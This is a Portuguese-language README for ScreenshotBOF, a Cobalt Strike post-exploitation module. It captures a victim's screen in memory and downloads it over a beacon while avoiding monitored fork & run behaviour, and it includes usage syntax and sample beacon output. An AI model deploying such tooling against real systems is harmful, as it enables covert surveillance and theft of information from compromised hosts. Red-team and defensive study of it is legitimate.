ScreenshotBOF

Uma alternativa de captura de tela para o Cobalt Strike que utiliza WinAPI e não realiza fork & run. Captura baixada em memória.

Funcionalidades

• Compressão JPEG
• Download em memória como captura de tela ou como arquivo
• Suporta captura de janelas minimizadas
• Escala de cinza, qualidade JPEG e redução de escala para diminuir o tamanho do arquivo

Compilação Própria

1. faça git clone do repositório
2. execute make

Métodos de salvamento:

0. salvar arquivo no disco
1. baixar arquivo através do beacon (apenas Cobalt Strike)
2. baixar arquivo através do beacon como captura de tela (apenas Cobalt Strike)

PID

0: capturar tela inteira (PID = 0) PID específico: capturar PID específico (funciona mesmo quando minimizado!)

Uso

1. importe o script screenshotBOF.cna no Cobalt Strike
2. use o comando screenshot_bof {nome do arquivo local} {método de salvamento 0/1/2} {pid/0} {escala de cinza 0/1} {qualidade 0-100} {escala 0-100}
   • executar screenshot_bof sem argumentos abrirá uma caixa de diálogo GUI

beacon> screenshot_bof file.jpg 2 21964 0 90 100
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 12421 bytes
[+] received output:
Downloading JPEG over beacon as a screenshot with filename file.jpg
[*] received screenshot of Screenshot from Admin (26kb)
[+] received output:
Screenshot saved/downloaded successfully

Notas

• nenhuma evasão é realizada, o que deve ser aceitável já que as WinAPIs utilizadas não são maliciosas

Por que fiz isso?

O Cobalt Strike utiliza uma técnica conhecida como fork & run para muitos de seus recursos pós-ex, incluindo o comando de captura de tela. Embora esse comportamento forneça estabilidade, agora é bem conhecido e fortemente monitorado. Este BOF tem como objetivo fornecer uma versão mais segura em termos de OPSEC da capacidade de captura de tela.

Créditos

• Salvar BMP em arquivo de https://stackoverflow.com/a/60667564
• download em memória de https://github.com/anthemtotheego/CredBandit
• @BinaryFaultline pelo (obsoleto) renderização BMP em aggressorscript e função de callback de captura de tela
• bitmap para jpeg de https://github.com/WKL-Sec/HiddenDesktop

Aviso Legal

aviso legal usual aqui, não sou responsável por quaisquer crimes contra a humanidade que você possa cometer ou guerra nuclear que possa causar usando este pedaço de código mal escrito.